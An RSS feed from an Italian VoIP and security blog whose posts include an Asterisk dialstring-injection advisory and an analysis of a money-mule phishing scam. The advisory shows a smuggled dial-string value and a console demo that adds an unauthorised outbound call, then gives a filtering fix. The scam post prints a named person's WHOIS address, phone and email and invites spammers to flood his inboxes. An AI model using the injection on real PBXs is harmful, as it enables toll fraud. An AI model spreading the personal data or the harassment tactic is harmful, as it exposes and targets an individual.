<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>VoIP &#38; Hack</title>
	<atom:link href="http://www.voipandhack.it/feed" rel="self" type="application/rss+xml" />
	<link>http://www.voipandhack.it</link>
	<description></description>
	<pubDate>Fri, 12 Mar 2010 00:23:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Orgoglio Italico</title>
		<link>http://www.voipandhack.it/archives/societa/orgoglio-italico</link>
		<comments>http://www.voipandhack.it/archives/societa/orgoglio-italico#comments</comments>
		<pubDate>Fri, 12 Mar 2010 00:23:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Società]]></category>

		<category><![CDATA[brevi]]></category>

		<category><![CDATA[censura]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1242</guid>
		<description><![CDATA[Nella speciale classifica riguardante la libertà di informazione stilata annualmente da Reporters Sans Frontieres, l&#8217; Italia risulta essere il paese con il punteggio peggiore tra i sei fondatori dell’UE.
L’Italia è scesa per il secondo anno consecutivo, stavolta di 5 posizioni, dopo averne perse 7 l’anno precedente, classificandosi perciò al 49mo posto, alle spalle perfino di [...]]]></description>
			<content:encoded><![CDATA[<p>Nella speciale classifica riguardante la libertà di informazione stilata annualmente da <a href="http://www.rsfitalia.org">Reporters Sans Frontieres</a>, l&#8217; Italia risulta essere il paese con il punteggio peggiore tra i sei fondatori dell’UE.<br />
L’Italia è scesa per il secondo anno consecutivo, stavolta di 5 posizioni, dopo averne perse 7 l’anno precedente, classificandosi perciò al 49mo posto, alle spalle perfino di alcuni paesi africani.<br />
C&#8217;è proprio di che essere orgogliosi!</p>
<p><img class="aligncenter size-full wp-image-1243" title="internet_violet" src="http://www.voipandhack.it/wp-content/uploads/2010/03/internet_violet.gif" alt="internet_violet" width="112" height="148" /></p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Orgoglio Italico">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/societa/orgoglio-italico">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-03-12 01:03:00">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Nella speciale classifica riguardante la libertà di informazione stilata annualmente da &lt;a href=&quot;http://www.rsfitalia.org&quot;&gt;Reporters Sans Frontieres&lt;/a&gt;, l&amp;#8217; Italia risulta essere il paese con il punteggio peggiore tra i sei fondatori dell’UE.&lt;br /&gt;
L’Italia è scesa per il secondo anno consecutivo, stavolta di 5 posizioni, dopo averne perse 7 l’anno precedente, classificandosi perciò al 49mo posto, alle spalle perfino di alcuni paesi africani.&lt;br /&gt;
C&amp;#8217;è proprio di che essere orgogliosi!&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-1243&quot; title=&quot;internet_violet&quot; src=&quot;http://www.voipandhack.it/wp-content/uploads/2010/03/internet_violet.gif&quot; alt=&quot;internet_violet&quot; width=&quot;112&quot; height=&quot;148&quot; /&gt;&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/societa/orgoglio-italico/feed</wfw:commentRss>
		</item>
		<item>
		<title>Asterisk Dialstring Injection</title>
		<link>http://www.voipandhack.it/archives/asterisk/asterisk-dialstring-injection</link>
		<comments>http://www.voipandhack.it/archives/asterisk/asterisk-dialstring-injection#comments</comments>
		<pubDate>Sat, 06 Mar 2010 18:09:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Asterisk]]></category>

		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[Telefonia]]></category>

		<category><![CDATA[VoIP]]></category>

		<category><![CDATA[asterisk pbx]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[sip]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1238</guid>
		<description><![CDATA[Qualche giorno fa il ricercatore Hans Petter Selasky ha messo in all&#8217;erta la comunità degli sviluppatori, implementatori ed utenti di Asterisk, circa il rischio di una possibile string injection nel dialplan del PBX, molto simile nel principio di funzionamento alla ben nota SQL injection.
Molti protocolli VoIP, compresi IAX2 e SIP, possiedono un set piuttosto esteso [...]]]></description>
			<content:encoded><![CDATA[<p>Qualche giorno fa il ricercatore Hans Petter Selasky ha messo in all&#8217;erta la comunità degli sviluppatori, implementatori ed utenti di Asterisk, circa il rischio di una possibile string injection nel dialplan del PBX, molto simile nel principio di funzionamento alla ben nota SQL injection.<span id="more-1238"></span></p>
<p>Molti protocolli VoIP, compresi IAX2 e SIP, possiedono un set piuttosto esteso di caratteri utilizzabile per la definizione delle extensions, come separatori nelle applicazioni dial() e queue(), e all&#8217;interno delle dialstring che tali applicazioni inviano ai channel drivers in Asterisk.</p>
<p>Questa caratteristica, se non opportunamente controllata, e qualora sia presente un carattere jolly, come nell&#8217;esempio seguente:<br />
<code><br />
[from_internal]<br />
exten =&gt; _X.,1,Dial(SIP/${EXTEN})<br />
</code><br />
rende possibile l&#8217;esecuzione di chiamate normalmente non consentite.</p>
<p>In un caso simile, diviene infatti possibile forgiare un INVITE con dati come 300&amp;Zap/g1/4565554321 per creare, in uscita, un channel addizionale non previsto.</p>
<p>Ovvero, come nella SQL injection, quella che è una caratteristica programmaticamente importante si trasforma in una vulnerabilità qualora manchi un rigido controllo dell&#8217;imput consentito.</p>
<p>Il fenomeno è facilmente verificabile anche utilizzando solamente la console di Asterisk:<br />
<code><br />
*CLI&gt; console dial 444&amp;SIP/voipcheap.com/00393213245678@from_internal<br />
== Console is full duplex<br />
-- Executing [444&amp;SIP/voipcheap.com/00393213245678@from_internal:1] Dial(&#8221;Console/dsp&#8221;, &#8220;SIP/444&amp;SIP/voipcheap.com/00393213245678&#8243;) in new stack<br />
== Using SIP RTP CoS mark 5<br />
*CLI&gt; [Mar  6 18:24:41] WARNING[4284]: chan_sip.c:5329 create_addr: No such host: 444<br />
[Mar  6 18:24:41] WARNING[4284]: app_dial.c:1745 dial_exec_full: Unable to create channel of type &#8216;SIP&#8217; (cause 20 - Unknown)<br />
== Using SIP RTP CoS mark 5<br />
&#8211; Called voipcheap.com/00393213245678<br />
[Mar  6 18:24:41] NOTICE[4197]: chan_sip.c:17763 handle_response_invite: Failed to authenticate on INVITE to &#8216;&#8221;asterisk&#8221; ;tag=as67de60de&#8217;<br />
&#8211; SIP/voipcheap.com-00000002 is circuit-busy<br />
== Everyone is busy/congested at this time (2:0/1/1)<br />
&#8211; Auto fallthrough, channel &#8216;Console/dsp&#8217; status is &#8216;CONGESTION&#8217;<br />
&lt;&lt; Hangup on console &gt;&gt;<br />
</code><br />
Nell&#8217;esempio la chiamata non procede oltre solo per il fatto di non avere impostato alcun account relativo al provider sip, che di conseguenza non la ha autorizzata.</p>
<p>In ragione di quanto appena visto, si rende quanto mai opportuno far filtrare la variabile ${EXTEN}, prima del suo effettivo utilizzo, da funzioni che accettino solamente i caratteri previsti dal programmatore del dialplan. Tali funzioni possono essere FILTER(), oppure REGEX(), come nell&#8217;esempio seguente:<br />
<code><br />
[from_internal]<br />
exten =&gt; _X.,1,gotoif(${REGEX(&#8221;&amp;,/|@&#8221; ${EXTEN})}?bad_context,s,1)<br />
&#8230;<br />
[bad_context]<br />
exten =&gt; s,1,playback(invalid)<br />
exten =&gt; s,2,congestion<br />
</code></p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Asterisk Dialstring Injection">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/asterisk/asterisk-dialstring-injection">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-03-06 19:03:43">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Qualche giorno fa il ricercatore Hans Petter Selasky ha messo in all&amp;#8217;erta la comunità degli sviluppatori, implementatori ed utenti di Asterisk, circa il rischio di una possibile string injection nel dialplan del PBX, molto simile nel principio di funzionamento alla ben nota SQL injection.&lt;span id=&quot;more-1238&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Molti protocolli VoIP, compresi IAX2 e SIP, possiedono un set piuttosto esteso di caratteri utilizzabile per la definizione delle extensions, come separatori nelle applicazioni dial() e queue(), e all&amp;#8217;interno delle dialstring che tali applicazioni inviano ai channel drivers in Asterisk.&lt;/p&gt;
&lt;p&gt;Questa caratteristica, se non opportunamente controllata, e qualora sia presente un carattere jolly, come nell&amp;#8217;esempio seguente:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
[from_internal]&lt;br /&gt;
exten =&amp;gt; _X.,1,Dial(SIP/${EXTEN})&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
rende possibile l&amp;#8217;esecuzione di chiamate normalmente non consentite.&lt;/p&gt;
&lt;p&gt;In un caso simile, diviene infatti possibile forgiare un INVITE con dati come 300&amp;amp;Zap/g1/4565554321 per creare, in uscita, un channel addizionale non previsto.&lt;/p&gt;
&lt;p&gt;Ovvero, come nella SQL injection, quella che è una caratteristica programmaticamente importante si trasforma in una vulnerabilità qualora manchi un rigido controllo dell&amp;#8217;imput consentito.&lt;/p&gt;
&lt;p&gt;Il fenomeno è facilmente verificabile anche utilizzando solamente la console di Asterisk:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
*CLI&amp;gt; console dial 444&amp;amp;SIP/voipcheap.com/00393213245678@from_internal&lt;br /&gt;
== Console is full duplex&lt;br /&gt;
-- Executing [444&amp;amp;SIP/voipcheap.com/00393213245678@from_internal:1] Dial(&amp;#8221;Console/dsp&amp;#8221;, &amp;#8220;SIP/444&amp;amp;SIP/voipcheap.com/00393213245678&amp;#8243;) in new stack&lt;br /&gt;
== Using SIP RTP CoS mark 5&lt;br /&gt;
*CLI&amp;gt; [Mar  6 18:24:41] WARNING[4284]: chan_sip.c:5329 create_addr: No such host: 444&lt;br /&gt;
[Mar  6 18:24:41] WARNING[4284]: app_dial.c:1745 dial_exec_full: Unable to create channel of type &amp;#8216;SIP&amp;#8217; (cause 20 - Unknown)&lt;br /&gt;
== Using SIP RTP CoS mark 5&lt;br /&gt;
&amp;#8211; Called voipcheap.com/00393213245678&lt;br /&gt;
[Mar  6 18:24:41] NOTICE[4197]: chan_sip.c:17763 handle_response_invite: Failed to authenticate on INVITE to &amp;#8216;&amp;#8221;asterisk&amp;#8221; ;tag=as67de60de&amp;#8217;&lt;br /&gt;
&amp;#8211; SIP/voipcheap.com-00000002 is circuit-busy&lt;br /&gt;
== Everyone is busy/congested at this time (2:0/1/1)&lt;br /&gt;
&amp;#8211; Auto fallthrough, channel &amp;#8216;Console/dsp&amp;#8217; status is &amp;#8216;CONGESTION&amp;#8217;&lt;br /&gt;
&amp;lt;&amp;lt; Hangup on console &amp;gt;&amp;gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
Nell&amp;#8217;esempio la chiamata non procede oltre solo per il fatto di non avere impostato alcun account relativo al provider sip, che di conseguenza non la ha autorizzata.&lt;/p&gt;
&lt;p&gt;In ragione di quanto appena visto, si rende quanto mai opportuno far filtrare la variabile ${EXTEN}, prima del suo effettivo utilizzo, da funzioni che accettino solamente i caratteri previsti dal programmatore del dialplan. Tali funzioni possono essere FILTER(), oppure REGEX(), come nell&amp;#8217;esempio seguente:&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
[from_internal]&lt;br /&gt;
exten =&amp;gt; _X.,1,gotoif(${REGEX(&amp;#8221;&amp;amp;,/|@&amp;#8221; ${EXTEN})}?bad_context,s,1)&lt;br /&gt;
&amp;#8230;&lt;br /&gt;
[bad_context]&lt;br /&gt;
exten =&amp;gt; s,1,playback(invalid)&lt;br /&gt;
exten =&amp;gt; s,2,congestion&lt;br /&gt;
&lt;/code&gt;&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/asterisk/asterisk-dialstring-injection/feed</wfw:commentRss>
		</item>
		<item>
		<title>Il decreto interpretativo</title>
		<link>http://www.voipandhack.it/archives/societa/il-decreto-interpretativo</link>
		<comments>http://www.voipandhack.it/archives/societa/il-decreto-interpretativo#comments</comments>
		<pubDate>Sat, 06 Mar 2010 01:13:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Società]]></category>

		<category><![CDATA[politica]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1235</guid>
		<description><![CDATA[Un indegno balletto &#8230;











Send post as PDF to  ]]></description>
			<content:encoded><![CDATA[<p>Un indegno balletto &#8230;<span id="more-1235"></span></p>
<p><img class="aligncenter size-full wp-image-1236" title="decreto" src="http://www.voipandhack.it/wp-content/uploads/2010/03/decreto.png" alt="decreto" width="424" height="404" /></p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Il decreto interpretativo">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/societa/il-decreto-interpretativo">
<input type="hidden" name="postAuthor_0" value="admin">
<input type="hidden" name="postDateTime_0" value="2010-03-06 02:03:27">
<input type="hidden" name="postContent_0" value="&lt;p&gt;Un indegno balletto &amp;#8230;&lt;span id=&quot;more-1235&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;aligncenter size-full wp-image-1236&quot; title=&quot;decreto&quot; src=&quot;http://www.voipandhack.it/wp-content/uploads/2010/03/decreto.png&quot; alt=&quot;decreto&quot; width=&quot;424&quot; height=&quot;404&quot; /&gt;&lt;/p&gt;
">
<table cellspacing="0" cellpadding="0" border="0" width="100%" ><tr><td align="left">Send post as <a href="http://en.pdf24.org" target="_blank">PDF</a> to <input class="pdf24Plugin-cp-input" type="text" name="sendEmailTo" value="Enter email address" onMouseDown="this.value = '';"> <input class="pdf24Plugin-cp-submit" type="submit" value="Send"></td><td align="right"><a href="http://en.pdf24.org" target="_blank" title="PDF | PDF Creator | PDF Converter"><img src="http://www.pdf24.org/images/sheep_16x16.gif" alt="PDF | PDF Creator | PDF Converter" border="0"></a></td></table></form></div>]]></content:encoded>
			<wfw:commentRss>http://www.voipandhack.it/archives/societa/il-decreto-interpretativo/feed</wfw:commentRss>
		</item>
		<item>
		<title>Il secondo lavoro del signor Max Rodkin</title>
		<link>http://www.voipandhack.it/archives/societa/il-secondo-lavoro-del-signor-max-rodkin</link>
		<comments>http://www.voipandhack.it/archives/societa/il-secondo-lavoro-del-signor-max-rodkin#comments</comments>
		<pubDate>Mon, 01 Mar 2010 23:58:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Sicurezza]]></category>

		<category><![CDATA[Società]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[internet]]></category>

		<category><![CDATA[phishing]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.voipandhack.it/?p=1225</guid>
		<description><![CDATA[Mi sono occupato in passato di phishing, una insidia che dovrebbe essere ormai ben nota, specialmente nelle sue forme più rozze, alla stragrande maggioranza degli utenti di Internet.
Ricapitolando brevemente, il phishing è una attività illegale, praticata con l&#8217;ausilio di tecniche sempre più sofisticate di ingegneria sociale, allo scopo di ottenere l&#8217;accesso a informazioni personali o [...]]]></description>
			<content:encoded><![CDATA[<p>Mi sono occupato in passato di phishing, una insidia che dovrebbe essere ormai ben nota, specialmente nelle sue forme più rozze, alla stragrande maggioranza degli utenti di Internet.</p>
<p>Ricapitolando brevemente, il phishing è una attività illegale, praticata con l&#8217;ausilio di tecniche sempre più sofisticate di ingegneria sociale, allo scopo di ottenere l&#8217;accesso a informazioni personali o riservate, e con l&#8217;obiettivo di attuare un qualche tipo di sostituzione di identità.<span id="more-1225"></span></p>
<p>Rientrano in questa tipologia tutti quei tentativi di convincere la vittima, spesso tramite comunicazioni fasulle da parte dei più diversi istituti di credito, a rivelare i dati personali necessari per l&#8217;accesso al proprio conto corrente bancario on-line, raggiungibile direttamente tramite un link che sembra puntare all&#8217;autentico sito istituzionale, ma che in realtà punta ad un clone, più o meno credibile, dell&#8217;originale.</p>
<p>Come è ovvio, le tecniche utilizzate per impadronirsi dei dati di cui sopra si sono nel tempo evolute, e con ogni probabilità continueranno a farlo.<br />
Una tecnica più moderna consiste nella installazione e attivazione di applicativi di keylogging sul computer vittima, anche qui spesso tramite varie manovre di ingegneria sociale, ma sovente anche tramite infezioni di virus e worm avvenute sfruttando vulnerabilità, vecchie e nuove, a carico dei sistemi operativi e/o programmi applicativi più diffusi.<br />
In questo caso, gli ignari utenti possono accedere al sito originale, non necessariamente a un&#8217;imitazione, ma la cattura delle credenziali di accesso avviene al momento del loro stesso inserimento da tastiera.<br />
Qualunque sia la tecnica utilizzata, il risultato è comunque quello di permettere ai truffatori l&#8217;accesso al conto corrente della vittima di turno.</p>
<p>A questo punto i truffatori si trovano a risolvere un problema non indifferente, cioè quello di incassare materialmente le somme divenute disponibili, essendo troppo pericoloso effettuare direttamente dei bonifici, inoltre lento e sospetto nel caso in cui si tratti di bonifici internazionali, sui propri conti correnti.<br />
Uno dei metodi attualmente più usati ed efficaci consiste nell&#8217;abbindolare qualcuno per convincerlo fare al il lavoro rischioso (oserei dire kamikaze) al posto loro.</p>
<p>La truffa ha quindi due tipi distinti di vittime, i truffati di tipo A, cui sono stati sottratti gli estremi di accesso al proprio conto online e sono quindi gli originali derubati, e quelli di tipo B, che avendo fatto da intermediari, pagano tutte le responsabilità della truffa, che riesce quasi sempre a lasciare i veri truffatori felicemente impuniti.</p>
<p>In genere viene offerto al truffato di tipo B un lavoro che richiede poco tempo, alcune conoscenze di base, e che viene subito presentato come ben retribuito (ovviamente per aumentare le probabilità di una risposta). A chi risponde dicendo di essere interessato si spiega che l&#8217;attività consiste nel ricevere bonifici sul proprio conto corrente, prelevare i contanti e spedirli, tipicamente via MoneyGram, Western Union o servizi simili a un fantomatico tizio di Mosca o San Pietroburgo (per esempio).</p>
<p>Nel caso in cui l&#8217;offerta venga accettata, il truffato di tipo B dovrà fornire le proprie coordinate bancarie ai truffatori.</p>
<p>I truffatori accedendo quindi online al conto corrente del truffato di tipo A, effettuano un bonifico al truffato di tipo B. Quest&#8217;ultimo preleva i soldi (in genere gli viene concesso di trattenerne una quota tipo il 10%, come compenso) e li manda via Western Union o similia al tizio di cui sopra.</p>
<p>A questo punto é solo questione di tempo, prima o poi il truffato di tipo A si accorge della presenza di ammanchi inspiegabili di denaro dal suo conto. Supponiamo che facendo un semplice controllo scopra ad esempio che é stato fatto un bonifico di cui non riconosce il motivo.<br />
Segnala la cosa alla sua banca e parte la denuncia. Il destinatario del bonifico, ovvero il truffato di tipo B viene subito rintracciato dalla polizia postale, il suo conto bloccato per le indagini, mentre lui viene incriminato per reati che possono essere truffa, riciclaggio, e nel peggiore dei casi, associazione a delinquere, in base agli elementi di indagine raccolti. Probabilmente verrebbe sequestrato anche il o i pc in suo possesso, alla ricerca delle sue reali responsabilità.<br />
Il truffato  di tipo B, anche per alleggerire la propria posizione, è tenuto poi a dover restituire la cifra sottratta al truffato di tipo A, e dato che ha spedito il 90% dei soldi ai truffatori, è già una bella batosta economica. Deve poi essere in grado di dimostrare di essere stato truffato egli stesso, e di non essere quindi parte attiva nella truffa. Questo dipende ovviamente dalle specifiche circostanze e dalla abilità dei suoi legali e dei loro consulenti. E anche questo ha ovviamente un costo.<br />
Molto spesso, tutto quello che è oggettivamente ottenibile in tal senso è solo una riduzione del danno.</p>
<p><strong>Piccola analisi di un caso reale</strong></p>
<p>Prendiamo la seguente email di esempio.</p>
<p><em>Vi salutiamo<br />
Sono Cora del negozio di gioielli leader,<br />
stiamo cercando impiegati per lavoro su mezza giornata, per il ruolo di segretario.</em></p>
<p><em>Non c&#8217;e bisogno di conoscenze o abilita particolari, e un semplice lavoro amministrativo.<br />
le prime tre settimane e il periodo di prova, il lavoro occupera circa un&#8217;ora e mezzo alla settimana.<br />
Basandosi sui risultati, paghiamo ogni settimana incentivi in contanti.<br />
La formazione e veloce e gratis, e sempre disponibile il Suo individuale Istruttore.<br />
Sara mio piacere rispondere a tutte le Sue domande personalmente : Cora@cet-west.com</em></p>
<p><em>Cordiali saluti,,<br />
Cora</em></p>
<p>Una email simile corrisponde proprio al metodo descritto in precedenza per abbindolare le vittime del tipo B.<br />
All&#8217;origine della truffa vi è stavolta una persona reale e non un nome fittizio, il signor Maksim Rodkin, uno spammer che si dichiara software engineer Citrix e MS sul proprio profilo Linkedin (http://ru.linkedin.com/pub/rodkin-maksim/15/256/7A5), ed è titolare del blog maximrodkin.blogspot.com.<br />
Egli utilizza sempre gli stessi riferimenti per registrare i propri domini trappola (cet-west.com, 24watch-es.com, western-gold.net, golden-rich-it.com, kilipolozarak.com, international-ca.com, it-euro-shop.com, it-west-next.com, es-streams.net, international-ca.com, lavoro-it.org, goldes-it.com, shop-euronet.net, tr-euro.com, international-es.com, es-euro-shop.com, es-shopper.com, watch-euro.com, tr-euro.com, west-nets.net, webseuro.com) .</p>
<p>Ad esempio, per quanto riguarda il dominio cet-west.com, i riferimenti sono i seguenti:</p>
<p><code># whois -h whois.regtime.net cet-west.com<br />
% Regtime Ltd. WHOIS server</code><br />
<code><br />
Domain name: cet-west.com</code><br />
<code><br />
Name servers:<br />
ns1.nameself.com<br />
ns2.nameself.com </code><br />
<code><br />
Registrar: Regtime Ltd.<br />
Creation date: 2010-02-22<br />
Expiration date: 2011-02-22<br />
Status: active </code><br />
<code><br />
Registrant:<br />
Maksim Rodkin<br />
Email: roddsn@post.com<br />
Organization: Private person<br />
Address: Miichurinskij prospekt, d.10-2, kv. 144<br />
City: Moskva<br />
State: Moskovskaya<br />
ZIP: 178234<br />
Country: RU<br />
Phone: +7.4956783214<br />
Administrative Contact:<br />
[idem]<br />
Technical Contact:<br />
[idem]<br />
Billing Contact:<br />
[idem]<br />
</code><br />
Ecco infatti un clone della e-mail precedente, provenienete però stavolta dal dominio western-gold.net, facente parte della variegata galassia con cui mister Max Rodkin cerca di arrotondare il proprio stipendio di software engineer:</p>
<p><em>Salve<br />
Sono Eric del negozio di gioielli leader,<br />
stiamo cercando dipendenti per lavoro part time, per il ruolo di consulente.</em></p>
<p><em>Non c&#8217;e bisogno di conoscenze o abilita particolari, e un semplice lavoro amministrativo.<br />
le prime tre settimane e il periodo di prova, il lavoro occupera 1 ora al giorno.<br />
Basandosi sui risultati, paghiamo ogni giorno contanti.<br />
La formazione e durante il lavoro, e sempre disponibile il Suo personale Istruttore.<br />
Siamo disponibili per qualsiasi Sua domanda : Eric@western-gold.net</em></p>
<p><em>In attesa di un Suo riscontro,,<br />
Eric</em></p>
<p>Il titolare del dominio è ancora il nostro intraprendente signor Rodkin:<br />
<code><br />
Domain name: western-gold.net </code><br />
<code><br />
Name servers:<br />
ns1.nameself.com<br />
ns2.nameself.com </code><br />
<code><br />
Registrar: Regtime Ltd.<br />
Creation date: 2010-02-22<br />
Expiration date: 2011-02-22<br />
Status: active </code><br />
<code><br />
Registrant:<br />
Maksim Rodkin<br />
Email: roddsn@post.com<br />
Organization: Private person<br />
Address: Miichurinskij prospekt, d.10-2, kv. 144<br />
City: Moskva<br />
State: Moskovskaya<br />
ZIP: 178234<br />
Country: RU<br />
Phone: +7.4956783214<br />
Administrative Contact:<br />
[idem]<br />
Technical Contact:<br />
[idem]<br />
Billing Contact:<br />
[idem]<br />
</code><br />
Per farla breve l&#8217;indirizzo roddsn@post.com risulta presente come contact nei record whois di oltre 20 domini.</p>
<p>Una rappresentazione grafica parziale ma piuttosto descrittiva dell&#8217;organizzazione di Rodkin è rappresentata dal grafico seguente.</p>
<p><img class="aligncenter size-full wp-image-1226" title="paterva_small" src="http://www.voipandhack.it/wp-content/uploads/2010/03/paterva_small.png" alt="paterva_small" width="500" height="327" /></p>
<p>Molti dei domini sono ospitati sulla stessa macchina (situata fisicamente in territorio Russo) all&#8217;indirizzo 193.104.94.57.<br />
Alcuni di essi risultano intestati direttamente a lui, nello stile visto sopra, tutti gli altri risultano registrati dal medesimo registrar cinese (piuttosto omertoso nel fornire informazioni), ma sono accomunabili in quanto anch&#8217;essi origine del medesimo tipo di spam.<br />
I loro nameservers autoritativi sono tuttavia pure essi ospitati all&#8217;indirizzo 193.104.94.57, e sono quindi domini virtuali, tranne cet-west.com.</p>
<p>Gli accounts di posta individuati (e destinati a ricevere le risposte di coloro che abboccano alla truffa) sono numerosi, ma devono per forza essere raggiungibili. Il motivo per cui ne pubblico <a href="http://www.voipandhack.it/email-list">qui</a> l&#8217;elenco è la speranza che trattandosi di un documento indicizzabile dai motori di ricerca, cada presto preda di altri spammer, nella speranza di rendere il lavoro del signor Rodkin quantomeno più stressante. Visto che le eventuali email di risposta da parte delle vittime dovranno essere necessariamente esaminate manualmente, dovrebbe passare un po&#8217; di tempo a fare pulizia nelle proprie caselle di posta, di cui gli indirizzi in elenco costituiscono ovviamente degli alias.</p>
<p>Scorrendo la lista si scoprono molti indirizzi piuttosto improbabili o ridicoli come:</p>
<p><code>Arnulfo@western-gold.net<br />
Zenaide@golden-rich-it.com<br />
Devota@golden-rich-it.com<br />
Saffo@golden-rich-it.com<br />
Icaro@golden-rich-it.com<br />
Venustiano@golden-rich-it.com</code></p>
<p>Conclusioni</p>
<p>L&#8217;aspetto vincente di queste truffe rimane quello finanziario, visto che il misfatto viene scoperto quando è già stato consumato.<br />
Quello che risulta frustrante è anche il fatto che i responsabili rimangano facilmente impuniti. Troppo costoso il ricorso a rogatorie internazionali per singoli episodi apparentemente scollegati e riguardanti cifre di poche migliaia di euro ciascuno.<br />
L&#8217;intelligenza truffaldina di personaggi come il signor Rodkin risulta comunque modesta, dato che bisogna essere un po&#8217; stupidi per non realizzare che molte potenziali vittime si trattengono dall&#8217;abboccare proprio perché si ritrovano bombardate da offerte molto simili fra loro.<br />
Tuttavia la madre degli stupidi è sempre incinta, e durante il breve tempo che mi ha preso questa piccola analisi mi è capitato già diverse volte di reperire online ammissioni da parte di persone cadute in trappola.</p>
<div class="pdf24Plugin-cp-box"><form method="POST" action="http://doc2pdf.pdf24.org/doc2pdf/wordpress.php" target="pdf24PopWin" onsubmit="window.open('about:blank', 'pdf24PopWin', 'scrollbars=yes,width=400,height=200,top=0,left=0'); return true;"><input type="hidden" name="blogCharset" value="UTF-8">
<input type="hidden" name="blogPosts" value="1">
<input type="hidden" name="blogUrl" value="http://www.voipandhack.it">
<input type="hidden" name="blogName" value="VoIP &amp;amp; Hack">
<input type="hidden" name="blogValueEncoding" value="htmlSpecialChars">
<input type="hidden" name="postTitle_0" value="Il secondo lavoro del signor Max Rodkin">
<input type="hidden" name="postLink_0" value="http://www.voipandhack.it/archives/societa/il-secondo-lavoro-del-signor-max-rodkin">
<input type="hidden" name="postAuthor_0" value="admin">
